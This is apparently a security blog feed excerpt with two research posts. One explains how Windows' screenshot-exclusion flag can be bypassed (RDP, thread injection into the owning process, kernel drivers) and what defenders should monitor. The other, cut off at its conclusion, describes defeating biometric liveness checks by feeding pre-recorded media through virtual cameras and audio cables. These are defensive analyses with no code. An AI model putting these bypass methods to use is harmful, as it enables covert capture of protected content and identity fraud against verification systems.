<p>The failure mode is the marketing leap: a product that <em>“defeats normal screenshots”</em> gets sold as one that <em>“protects sensitive data,”</em> with no threat model in between.</p>

<hr />

<h2 id="who-this-does-not-stop">Who This Does Not Stop</h2>

<p>Every control ever shipped can be bypassed, so the useful question is who can bypass this one, holding what access. Three capability tiers cover it.</p>

<h3 id="tier-0-the-user-who-avoids-the-blocked-path">Tier 0: The User Who Avoids the Blocked Path</h3>

<p>Even with zero special access, plenty of capture paths never touch the DWM-composited surface the flag protects.</p>

<ul>
  <li><strong>The analog hole:</strong> a phone camera pointed at the monitor. The pixels that reach a retina reach a camera sensor the same way. No API closes this, and Microsoft’s docs concede as much.</li>
  <li><strong>Context that breaks DWM:</strong> the protection only works while DWM is composing the desktop, a limit Microsoft states in its <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowdisplayaffinity#remarks">documentation</a>. Remote Desktop sessions disable DWM, so a window invisible to a local screenshot can render perfectly over RDP. Certain remote-assistance and mirroring stacks, and some virtual-display configurations, land in the same bucket. The control silently fails open, which is the worst way for a control to fail.</li>
  <li><strong>VM quirks:</strong> in basic VMs without GPU acceleration, the compositor path can differ enough that the exclusion doesn’t behave as advertised.</li>
</ul>

<p>None of these require privilege escalation. They require <em>not using the one capture method the flag was designed to block.</em> Tier 0 is where most real-world leakage happens, and it leaves almost nothing behind on the host.</p>

<h3 id="tier-1-the-local-user-willing-to-run-code">Tier 1: The Local User Willing to Run Code</h3>

<p>The window belongs to a process, and processes on a user’s own machine are not a trust boundary against that user. IOActive consultant Taha Draidia recently published the concrete version of this in <a href="https://www.ioactive.com/signal-windows-desktop-contentprotection-bypass/">Signal Windows Desktop: contentProtection Bypass</a>, which takes apart Signal Desktop’s screen-capture protection. Signal reaches this same Win32 call through Electron’s <code class="language-plaintext highlighter-rouge">setContentProtection()</code> wrapper, so the write-up doubles as a case study in what the flag is worth.</p>

<ul>
  <li><strong>Flip the flag back from inside the process.</strong> Draidia tested the obvious approach first: call <code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity(hwnd, WDA_NONE)</code> on Signal’s window from another process. That fails with <code class="language-plaintext highlighter-rouge">ERROR_ACCESS_DENIED</code>, and running elevated fails the same way, because the kernel check compares the caller’s process identity against the window’s owner rather than its privilege level. Administrator rights do nothing here. <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> into Signal’s own process satisfies the check, and the protection turns off with no error, no prompt, and nothing on screen to mark the change.</li>
  <li><strong>Capture below the compositor.</strong> DWM removes the window while assembling the desktop image, so the removal exists only in the copy DWM hands out. Capture that reads frames lower in the stack and closer to the hardware never receives that copy, and may see the window intact. The flag protects one rendering path rather than the content.</li>
</ul>

<p>This explains where the protection breaks down, not how to build something that breaks it. Anyone who can run code in the user’s session can neutralize the flag, and the barrier is measured in API calls rather than in exploit development. The control is therefore exactly as strong as whatever stops code execution in that session.</p>

<h3 id="tier-2-kernel-driver-or-physical-access">Tier 2: Kernel, Driver, or Physical Access</h3>

<p>The flag does not apply here at all. DWM checks the exclusion while it builds the desktop image, so code running at or below the display driver gets the pixels without that check ever happening. Independent kernel-mode research makes the point from the other direction: the proof-of-concept driver <a href="https://github.com/ahossu/DWMShield">DWMShield</a> skips the public API entirely and calls the undocumented internal routine <code class="language-plaintext highlighter-rouge">GreProtectSpriteContent</code> directly, passing a target window handle over an IOCTL from a non-elevated client. It reaches the same DWM enforcement point Draidia’s work identified, but from underneath the ownership check rather than by satisfying it, which is the mirror image of the <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> approach in Tier 1, and a separate piece of research rather than an extension of it.</p>

<hr />

<h2 id="the-actual-drm-for-comparison">The Actual DRM, for Comparison</h2>

<p>The irony in the title is that real DRM exists on the same platform and works on a different principle. Hardware-backed protected media paths (<a href="https://developers.google.com/widevine/drm/overview">Widevine L1</a>, <a href="https://learn.microsoft.com/en-us/playready/overview/security-level">PlayReady SL3000</a>, <a href="https://developer.apple.com/streaming/fps/">FairPlay</a>) decrypt and composite content inside a Trusted Execution Environment, a secure media path that user-mode and often kernel-mode capture cannot reach. That’s why screen-recording a premium streaming-video service yields a black frame even with admin rights: the pixels never exist in a framebuffer the OS will hand out.</p>

<p>The flag that isn’t DRM, side by side with the DRM that is:</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th><code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code></th>
      <th>Hardware DRM (protected media path)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Enforced by</strong></td>
      <td>DWM composition, kernel-side owner check on the flag</td>
      <td>Secure hardware / TEE</td>
    </tr>
    <tr>
      <td><strong>Where the viewable image lives</strong></td>
      <td>Normal framebuffer; omitted only from the copy handed to capture</td>
      <td>Inside the TEE; never in a framebuffer the OS can hand out</td>
    </tr>
    <tr>
      <td><strong>What it covers</strong></td>
      <td>One top-level window at a time, per <code class="language-plaintext highlighter-rouge">HWND</code>, re-applied for every new window</td>
      <td>The content stream itself, wherever it plays</td>
    </tr>
    <tr>
      <td><strong>Stops normal screenshots</strong></td>
      <td>Yes</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td><strong>Kept out of Recall snapshots</strong></td>
      <td>Yes</td>
      <td>Yes (Microsoft: Recall won’t store DRM content)</td>
    </tr>
    <tr>
      <td><strong>Stops a local user with admin</strong></td>
      <td>No (admin enables injection)</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td><strong>Survives process injection</strong></td>
      <td>No</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td><strong>Survives RDP / DWM-off contexts</strong></td>
      <td>No (fails open)</td>
      <td>Yes</td>
    </tr>
    <tr>
      <td><strong>Stops a phone camera</strong></td>
      <td>No</td>
      <td>No</td>
    </tr>
    <tr>
      <td><strong>Who can disable it</strong></td>
      <td>Any code running inside the owning process</td>
      <td>No software path; requires defeating the hardware</td>
    </tr>
    <tr>
      <td><strong>How it fails</strong></td>
      <td>Open and silent: no error, no log, no visual change</td>
      <td>Closed: the license refuses to bind, playback stops or drops quality</td>
    </tr>
    <tr>
      <td><strong>Cost to adopt</strong></td>
      <td>One API call per window, no licensing</td>
      <td>Device certification, license server, key management; SL3000 is device-only</td>
    </tr>
    <tr>
      <td><strong>Microsoft’s own classification</strong></td>
      <td>“Not a security feature or DRM”</td>
      <td>Actual content protection</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code> is a hardening measure against opportunistic capture. Hardware DRM is a confidentiality control. Treating the flag as a confidentiality control is where the false sense of security begins.</p>

<hr />

<h2 id="what-developers-should-do">What Developers Should Do</h2>

<p>Using <code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code> is reasonable. Products go wrong when they treat that one API call as the finished control.</p>

<p><strong>Set it on every top-level window, not just the main one.</strong> Affinity is a per-<code class="language-plaintext highlighter-rouge">HWND</code> property and every new window starts at <code class="language-plaintext highlighter-rouge">WDA_NONE</code>. Dialogs, tooltips, context menus, toasts, and the separate windows that WPF popups and Electron render into each get their own <code class="language-plaintext highlighter-rouge">HWND</code>. Flag the main window but not the dialog, and the screenshot catches the secret in full while the ordinary window behind it is the part that gets hidden.</p>

<p><strong>Check the return value.</strong> The call returns <code class="language-plaintext highlighter-rouge">FALSE</code> on a window that isn’t top level or doesn’t belong to the calling process, and a silent failure still looks protected in code review. Treat it as a security event. On builds older than 19041, <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowdisplayaffinity#remarks"><code class="language-plaintext highlighter-rouge">WDA_EXCLUDEFROMCAPTURE</code> succeeds and behaves as <code class="language-plaintext highlighter-rouge">WDA_MONITOR</code></a>, so the window turns black instead of vanishing and the API never mentions the difference.</p>

<p><strong>Re-read the flag.</strong> <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowdisplayaffinity"><code class="language-plaintext highlighter-rouge">GetWindowDisplayAffinity</code></a> reads the current value from any process, so the app or a monitoring agent can poll it. A change to <code class="language-plaintext highlighter-rouge">WDA_NONE</code> the app didn’t make means something else is writing to its process: log it, alert on it, and consider blanking the view until the app can verify its own state.</p>

<p><strong>Use the supported control when one exists.</strong> Recall now has <a href="https://learn.microsoft.com/en-us/windows/client-management/manage-recall#allow-recall-and-snapshots-policies">real policy</a>: <strong>Allow Recall to be enabled</strong> (<code class="language-plaintext highlighter-rouge">AllowRecallEnablement</code>) and <strong>Turn off saving snapshots for Recall</strong> (<code class="language-plaintext highlighter-rouge">DisableAIDataAnalysis</code>), and managed devices have it removed by default. The flag was a workaround for consumer machines with no opt-out, which is still where it earns its keep.</p>

<p><strong>Document the threat model.</strong> Name what the feature stops: screenshot tools, screen sharing, OS-level snapshotting. Name what it doesn’t: cameras, remote sessions, code running in the user’s session, anything at kernel level. Microsoft’s <a href="https://learn.microsoft.com/en-us/azure/virtual-desktop/screen-capture-protection">Azure Virtual Desktop documentation</a> is the model to copy: it states plainly that the feature isn’t DRM-level protection and isn’t a substitute for one, and recommends pairing it with other controls.</p>

<p><strong>Pair it with content-level controls.</strong> Reveal-on-tap for secrets, short display timeouts, redaction by default, per-session watermarking.</p>

<hr />

<h2 id="what-defenders-should-monitor">What Defenders Should Monitor</h2>

<p>You cannot stop capture on a machine the user controls. You can often catch the attempt.</p>

<p><strong>Injection into the protected app:</strong> the Tier 1 bypass is a common and ordinary injection, and the Signal bypass used <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, the loudest option available. Watch Sysmon <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90010">Event ID 10</a> (<code class="language-plaintext highlighter-rouge">ProcessAccess</code>) against that target with <code class="language-plaintext highlighter-rouge">PROCESS_VM_WRITE</code>, <code class="language-plaintext highlighter-rouge">PROCESS_VM_OPERATION</code>, or <code class="language-plaintext highlighter-rouge">PROCESS_CREATE_THREAD</code>; <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90008">Event ID 8</a> (<code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>); <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90025">Event ID 25</a> (<code class="language-plaintext highlighter-rouge">ProcessTampering</code>); and <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90007">Event ID 7</a> (<code class="language-plaintext highlighter-rouge">ImageLoad</code>) for unsigned modules or anything from a user-writable path.</p>

<p><strong>Tamper events the app reports about itself:</strong> this depends on developers implementing the affinity re-read above, so ask whether they did. An app reporting “my window affinity changed and I didn’t change it” is a detection with almost no false-positive surface.</p>

<p><strong>Capture and remote-control tooling on regulated hosts:</strong> OBS, ShareX, Snagit, <code class="language-plaintext highlighter-rouge">ffmpeg</code> with a screen-grab input, and support stacks such as AnyDesk, TeamViewer, and ScreenConnect. Inventory and policy rather than alerting, since none are malicious by default. The question is why a capture stack is installed on a host whose security depends on capture being hard.</p>

<p><strong>Policy drift:</strong> if Recall is disabled by <a href="https://learn.microsoft.com/en-us/windows/client-management/manage-recall">policy</a>, verify it stayed disabled on the endpoint rather than trusting that the GPO exists. BYOD is the harder case, because Recall is available by default there and the user decides.</p>

<p><strong>Everything a camera sees:</strong> out of reach of host telemetry. That leaves physical controls and per-session watermarking that survives a photograph. “We can’t stop the screenshot, but we can tell whose session it came from” is a more defensible promise than “the screenshot came out black.”</p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Read the flag as what it is and Microsoft’s two pages stop contradicting each other: it keeps sensitive windows out of casual captures and out of Recall on machines where the user is not the adversary, and it does nothing about the three tiers above. When a datasheet or a control matrix claims more than that, the difference is data with nothing protecting it, and another control has to cover the gap. A design that depends on a screenshot-proof window for confidentiality is a finding rather than a control.</p>

<hr />

<h2 id="references">References</h2>

<ul>
  <li>Microsoft Learn: <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowdisplayaffinity">SetWindowDisplayAffinity function (winuser.h)</a></li>
  <li>Microsoft Learn: <a href="https://learn.microsoft.com/en-us/windows/client-management/manage-recall">Manage Recall for Windows clients</a></li>
  <li>Microsoft Learn: <a href="https://learn.microsoft.com/en-us/azure/virtual-desktop/screen-capture-protection?tabs=intune">Screen capture protection in Azure Virtual Desktop</a></li>
  <li>IOActive: Signal <a href="https://www.ioactive.com/signal-windows-desktop-contentprotection-bypass/">Windows Desktop: contentProtection Bypass</a></li>
  <li>GitHub: <a href="https://github.com/ahossu/DWMShield">ahossu/DWMShield</a></li>
</ul>]]></content><author><name>Capt. Meelo</name></author><category term="research" /><summary type="html"><![CDATA[This post breaks down what the SetWindowDisplayAffinity flag actually guarantees, who can route around it and how, and why a black screenshot is the beginning of a threat model rather than the end of one.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2026-09-13-the-drm-flag-that-isnt-drm/different-captures.jpg" /><media:content medium="image" url="https://captmeelo.com/static/img/2026-09-13-the-drm-flag-that-isnt-drm/different-captures.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices</title><link href="https://captmeelo.com/research/2026/04/02/liveness-detection.html" rel="alternate" type="text/html" title="Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices" /><published>2026-04-02T00:00:00+00:00</published><updated>2026-04-02T00:00:00+00:00</updated><id>https://captmeelo.com/research/2026/04/02/liveness-detection</id><content type="html" xml:base="https://captmeelo.com/research/2026/04/02/liveness-detection.html"><![CDATA[<p><em><strong>Note</strong>: This research was originally posted <a href="https://www.ioactive.com/virtual-assistant-defeating-liveness-detection-with-the-help-of-virtual-devices/">here</a>.</em></p>

<h2 id="introduction">Introduction</h2>

<p>The rise of fraud and identity theft poses a growing concern for both individuals and organizations. As AI and deepfake technologies advance at an unprecedented pace, the need for a robust form of identity verification has become increasingly important. Traditional identity verification technology has become vulnerable to sophisticated attacks, such as spoofing, where fraudsters mimic someone’s identity. To combat the growing threat, identity providers integrated liveness detection to ensure the person undergoing verification is real, live, and physically present. However, as liveness detection evolves, fraudsters have adapted to bypass this protection.</p>

<p>In this article, we will explore how liveness detection, which is designed to distinguish real users from spoofed representations, can be undermined through the use of virtual devices. We will cover the tools and techniques, the setup process, and a demonstration of the bypasses. We will also discuss how criminals take advantage of the biometric data (facial images, voice recordings, and ID photos) individuals and organizations often unknowingly post and leave online. Finally, we will conclude with practical recommendations to help identity providers combat such attacks and improve their systems.</p>

<h2 id="understanding-remote-identity-proofing">Understanding Remote Identity Proofing</h2>

<p>Remote Identity Proofing (RIDP) is the process of <strong>verifying someone’s identity</strong> through digital channels without requiring their physical presence. This helps combat fraud by confirming the end users are <strong>real</strong> and <strong>who they claim to be</strong>. In sectors like banking, insurance, cryptocurrencies, and payments, RIDP has emerged as a key component of digital trust. RIDP also plays a big role in regulatory programs like Know Your Customer (KYC), Customer Due Diligence (CDD), and Anti‑Money Laundering (AML).</p>

<p><a href="/static/img/2026-04-02-liveness-detection/ridp-process.png"><img src="/static/img/2026-04-02-liveness-detection/ridp-process.png" alt="RIDP Process" /></a></p>

<p>Common forms of RIDP include:</p>

<ul>
  <li><strong>Document validation</strong>, which relies upon the authenticity of government issued IDs such as passports or driver’s licenses.</li>
  <li><strong>Biometric verification</strong>, such as facial recognition, fingerprint scanning, and voice authentication, which focuses on someone’s unique physical characteristics.</li>
  <li><strong>Knowledge-based approaches</strong>, wherein multiple signals (e.g., passwords, PINs, OTPs) are collected.</li>
</ul>

<h2 id="verification-methods--their-related-attacks">Verification Methods &amp; Their Related Attacks</h2>

<p>This article focuses on the following forms of identity verification:</p>

<ul>
  <li>Facial Recognition</li>
  <li>Document Validation</li>
  <li>Voice Authentication</li>
</ul>

<h3 id="facial-recognition"><strong>Facial Recognition</strong></h3>

<p>Facial recognition is the process where a user’s <strong>facial features are captured, extracted, and compared against a database of faces</strong> to confirm identity.  In practice, this makes the camera pipeline and its integrity (how the face data is acquired and delivered to the verification component) a critical security boundary.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/face-recognition-process.png"><img src="/static/img/2026-04-02-liveness-detection/face-recognition-process.png" alt="Facial Recognition Process" /></a></p>

<p>With this type of verification, fraudsters seek to impersonate a real person through <strong>Facial Spoofing</strong>, wherein a valid‑looking fake representation of the target is presented to the camera. This is typically carried out via:</p>

<ul>
  <li><strong>2D Spoofing</strong> - presenting a printed photo or image displayed on a digital device (e.g., monitor or phone) to the camera.</li>
  <li><strong>Video Replay</strong> - presenting a pre‑recorded video to the camera rather than a live capture.</li>
  <li><strong>3D/Silicon Masks</strong> - creating a 3D reconstruction of a face or a mask to simulate a face in a physically present form.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/face-recognition-attack.png"><img src="/static/img/2026-04-02-liveness-detection/face-recognition-attack.png" alt="Facial Recognition Attacks" /></a></p>

<h3 id="document-validation"><strong>Document Validation</strong></h3>

<p>Another method is <strong>verifying the authenticity and validity of an identity document</strong> such as a passport, national ID, or driver’s license.  This method, called Document Validation, typically includes checking visual and structural cues and determining whether the presented document is legitimate versus altered or fabricated.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/doc-validation-process.png"><img src="/static/img/2026-04-02-liveness-detection/doc-validation-process.png" alt="Document Validation Process" /></a></p>

<p>In an attempt to bypass document validation, fraudsters typically impersonate someone by presenting stolen, forged, or falsified documents. This is called <strong>Document Spoofing</strong> and common methods include:</p>

<ul>
  <li><strong>Printed Copy</strong> - using a printed reproduction of an authentic or forged document.</li>
  <li><strong>Screen Replay</strong> - presenting a legitimate (stolen) or forged document via a digital screen.</li>
  <li><strong>Portrait Overlay/Substitution</strong> - placing someone else’s photo over the original photo in a legitimate document.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/doc-validation-attack.png"><img src="/static/img/2026-04-02-liveness-detection/doc-validation-attack.png" alt="Document Validation Attacks" /></a></p>

<h3 id="voice-authentication"><strong>Voice Authentication</strong></h3>

<p>Voice authentication identifies a person <strong>based on the unique biological characteristics of their voice</strong>, including traits such as dynamics, pitch, intensity, and articulation.  As with face and document capture, the trustworthiness of the capture channel (microphone input and the path from device to verification system) is foundational.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/voice-authentication-process.png"><img src="/static/img/2026-04-02-liveness-detection/voice-authentication-process.png" alt="Voice Authentication Process" /></a></p>

<p><strong>Speech Spoofing</strong> focuses on impersonating a target user by producing a voice output that matches the target’s “voice print/pattern” and speech behavior. Common methods are:</p>

<ul>
  <li><strong>Voice Imitation/Conversion</strong> - making the fraudster’s voice sound similar to the target’s voice.</li>
  <li><strong>Speech Synthesis/Cloning</strong> - using AI and text‑to‑speech (TTS) technologies to generate a replica of the target’s voice.</li>
  <li><strong>Voice Replay</strong> - using a pre‑recorded voice of the target.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/voice-authentication-attack.png"><img src="/static/img/2026-04-02-liveness-detection/voice-authentication-attack.png" alt="Document Validation Attacks" /></a></p>

<h2 id="liveness-detection-as-a-defensive-control">Liveness Detection as a Defensive Control</h2>

<p>Liveness detection aims to prevent spoofing attacks by ensuring the user is live and physically or actively present at the time of the verification process rather than a recording or synthetic source. Liveness detection is implemented either <strong>passively</strong> or <strong>actively</strong>. With <strong>passive liveness detection</strong>, the verification system analyzes biometric signals without requiring explicit user interaction for a faster and seamless experience. As for <strong>active liveness detection</strong>, the system prompts users to perform actions such as head movements or speaking phrases to ensure users are actively/physically present during the verification process; however, it adds friction and inconvenience to some users.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/passive-active-liveness.png"><img src="/static/img/2026-04-02-liveness-detection/passive-active-liveness.png" alt="Passive vs Active Liveness" /></a></p>

<p>The following demonstrates how liveness detection works for each verification system discussed above:</p>

<h4 id="facial-liveness"><strong>Facial Liveness</strong></h4>

<p>RIDP systems typically check for facial liveness using a combination of active and passive methods. Active liveness uses randomized challenge–response prompts, such as blinking or head movements, to confirm real‑time interaction. On the other hand, passive liveness runs in the background, analyzing depth cues, skin texture, light reflections, and subtle physiological signals that are difficult for photos, videos, or deepfakes to replicate.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/facial-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=FCuRob8stis">PresentID</a></em></td>
    </tr>
  </tbody>
</table>

<h4 id="document-liveness"><strong>Document Liveness</strong></h4>

<p>Instead of checking a document’s format or text alone, document liveness analyzes how a document interacts with light and motion. Real IDs exhibit natural reflections on holograms and laminates, realistic shadows, and consistent texture patterns. Screen replays and printed copies expose artifacts such as Moiré patterns <em>(image distortion due  to the overlapping grid pattern between the display and the camera capturing it)</em>, color limitations, or unnatural edges, which modern AI models are trained to detect within a single image or a short video capture.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/doc-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=9YBzoMwPKrI">ID R&amp;D</a></em></td>
    </tr>
  </tbody>
</table>

<h4 id="voice-liveness"><strong>Voice Liveness</strong></h4>

<p>Passive voice liveness analyzes spectral and temporal characteristics of speech, identifying artifacts common in text‑to‑speech, voice cloning, and replay attacks. Whereas active liveness adds challenge‑response prompts, requiring users to speak unpredictable phrases (instead of predefined ones) in real time, making replay and synthetic attacks far more difficult.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/voice-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=eod8dQe1ED8">ID R&amp;D</a></em></td>
    </tr>
  </tbody>
</table>

<h2 id="injection-attacks-against-liveness-detection">Injection Attacks Against Liveness Detection</h2>

<p>As liveness detection matured and spoofing/replay attacks became easier to detect, threat actors shifted toward more sophisticated techniques. This led to the rise of <strong>injection attacks</strong>, which target the verification pipeline instead of the sensor. Instead of fooling the sensors by presenting falsified media to a camera or microphone, injection attacks feed prerecorded, manipulated, or synthetic biometric data directly into the application or API. This makes the system believe the input is legitimate, since the injected data is a bit-for-bit replica of the source media and is of high quality.</p>

<p>The following diagram illustrates the difference between a replay and an injection attack:</p>

<p><a href="/static/img/2026-04-02-liveness-detection/replay-vs-injection.png"><img src="/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" alt="Replay vs. Injection Attack" /></a></p>

<p>Typically, <strong>Injection Attack Methods (IAM)</strong> fall into two categories: attacks performed <strong>via modified or falsified devices</strong>, and attacks performed <strong>via substitution of captured media</strong>.</p>

<h3 id="injection-via-modified-or-falsified-devices">Injection via Modified or Falsified Devices</h3>

<p>In this type of attack, the attacker manipulates the capture environment itself so that falsified media is treated as legitimate. One approach involves the use of <strong>virtual devices</strong>, where software‑based cameras or microphones emulate physical hardware. These virtual components can present attacker‑controlled images, videos, or audio streams directly to the verification system while appearing as standard capture devices.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-virtual-device.png"><img src="/static/img/2026-04-02-liveness-detection/iam-virtual-device.png" alt="Using a Virtual Device" /></a></p>

<p>Another approach uses <strong>hardware modules</strong> inserted between the sensor and the RIDP system. In this method, the hardware intercepts and replaces genuine sensor output with attacker‑supplied data before it reaches the verification logic.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-hardware-module.png"><img src="/static/img/2026-04-02-liveness-detection/iam-hardware-module.png" alt="Using a Hardware Module" /></a></p>

<p>A third variant relies on <strong>device emulators</strong>, where the entire verification environment is simulated. Emulated devices can present falsified data while mimicking expected device characteristics, allowing attackers to test and refine injection techniques at scale.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-emulator.png"><img src="/static/img/2026-04-02-liveness-detection/iam-emulator.png" alt="Using a Device Emulator" /></a></p>

<h3 id="injection-via-substitution-of-captured-media">Injection via Substitution of Captured Media</h3>

<p>Rather than altering the device itself, some threat actors may instead target the verification path that handles the captured media. One technique involves <strong>function hooking</strong>, where application- or system‑level functions responsible for camera or microphone input are intercepted and modified. This allows attackers to replace genuine capture data with prerecorded or synthetic media at runtime.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-function-hooking.png"><img src="/static/img/2026-04-02-liveness-detection/iam-function-hooking.png" alt="Using Function Hooking" /></a></p>

<p>Another method relies on <strong>traffic interception</strong>, commonly described as a man‑in‑the‑middle (MiTM) scenario. In this case, media streams are intercepted and altered as they are transmitted between the client and backend services, enabling substitution without modifying the physical capture process.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-mitm.png"><img src="/static/img/2026-04-02-liveness-detection/iam-mitm.png" alt="Using Function Hooking" /></a></p>

<h2 id="using-virtual-devices-to-circumvent-liveness-detection">Using Virtual Devices to Circumvent Liveness Detection</h2>

<p>The final area to address is the use of virtual devices as a cheap and simple means to defeat liveness detection implemented with different verification methods.</p>

<p><strong>Virtual devices</strong> are software-based devices that mimic the capabilities of physical devices and allow users to select different source media (images, videos, audio, scenes, etc.) and feed them to other applications. Because virtual devices are inexpensive (mostly open-source), easy to configure, and widely used for legitimate purposes such as streaming and conferencing, they present a scalable and practical attack vector.</p>

<h3 id="attack-demonstration">Attack Demonstration</h3>

<h4 id="virtual-device-against-facial-liveness">Virtual Device Against Facial Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of using the phone’s native camera for a live capture, a fraudster injects a pre-recorded video using a virtual camera.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-face.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h4 id="virtual-device-against-document-liveness">Virtual Device Against Document Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of using a camera to capture the ID, the fraudster uses a virtual camera to submit it to the RIDP system.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-doc.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h4 id="virtual-device-against-voice-liveness">Virtual Device Against Voice Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of speaking through a microphone, the fraudster submits an audio record to the RIDP system using a virtual audio cable.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-voice.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h3 id="threats-widespread-biometric-data-exposure">Threats: Widespread Biometric Data Exposure</h3>

<p>A major factor behind the growing success of identity theft and imposter scams is the widespread availability of biometric data. Identity impersonation is no longer a high‑effort operation. Today, attackers can obtain biometric artifacts of their victims remotely, quickly, and at scale. Identity theft and impersonation no longer depend on physical proximity to the victim; attackers can now acquire usable biometric samples remotely and at scale.</p>

<p>Social media platforms have effectively become open biometric repositories. Profile pictures, short‑form videos, and live streams expose high‑quality facial imagery and voice samples across a wide range of lighting conditions, angles, and expressions. For attackers, this content is often more than sufficient to fuel replay attacks, deepfake generation, or voice cloning. Vlogs and user‑generated video content further raise the bar by offering extended, natural recordings of both face and voice. These longer samples reveal behavioral nuances, such as speech rhythm, pauses, expressions, and movement patterns, that can be leveraged to evade passive liveness detection and behavioral analysis.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-socmed1.png"><img src="/static/img/2026-04-02-liveness-detection/threats-socmed1.png" alt="Biometric Data from Social Medias" /></a></p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-socmed2.gif"><img src="/static/img/2026-04-02-liveness-detection/threats-socmed2.gif" alt="Biometric Data from Social Medias" /></a></p>

<p>The most severe risk comes from database and KYC leaks, which may expose high‑resolution IDs, enrollment selfies, and voice samples.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-kyc1.png"><img src="/static/img/2026-04-02-liveness-detection/threats-kyc1.png" alt="KYC Leaks" /></a></p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-kyc2.png"><img src="/static/img/2026-04-02-liveness-detection/threats-kyc2.png" alt="KYC Leaks" /></a></p>

<p>This level of biometric exposure fundamentally reshapes the RIDP threat model. Biometric data can no longer be treated as a protected secret. Instead, trust must shift toward verifiable capture integrity, proving that data was generated by a real sensor on a real device at a specific moment. Without strong capture‑time guarantees and device‑level assurance, even advanced liveness detection remains vulnerable to high‑fidelity impersonation attacks.</p>

<p>As biometric data becomes easier to obtain, the threat shifts from <strong><em>“Can attackers get the data?”</em></strong> to <strong><em>“Can systems reliably prove how and when the data was captured?”</em></strong>. Addressing this shift is essential to defending modern RIDP deployments against scalable impersonation attacks.</p>

<h3 id="recommendations">Recommendations</h3>

<p>To mitigate these risks, organizations should adopt a layered defense strategy, such as:</p>

<ul>
  <li>Identifying virtual devices through metadata, hardware identifiers, and supported capabilities.</li>
  <li>Detecting emulated environments using hardware characteristics, sensor availability, performance profiles, and interaction patterns.</li>
  <li>Ensuring authenticity and fidelity through remote image attestation, cryptographic signing, timestamping, and challenge‑response mechanisms.</li>
  <li>Analyzing input data and session metadata for anomalies, mismatches, or missing sensor signals that indicate virtual sources.</li>
  <li>Switching to mobile‑only RIDP by taking advantage of mobile security features like Trusted Execution Environments and sensor telemetry.</li>
  <li>Combining multimodal verification and human review for high‑risk use cases, supported by logging and analysis of failed attempts.</li>
</ul>

<h3 id="conclusion">Conclusion</h3>

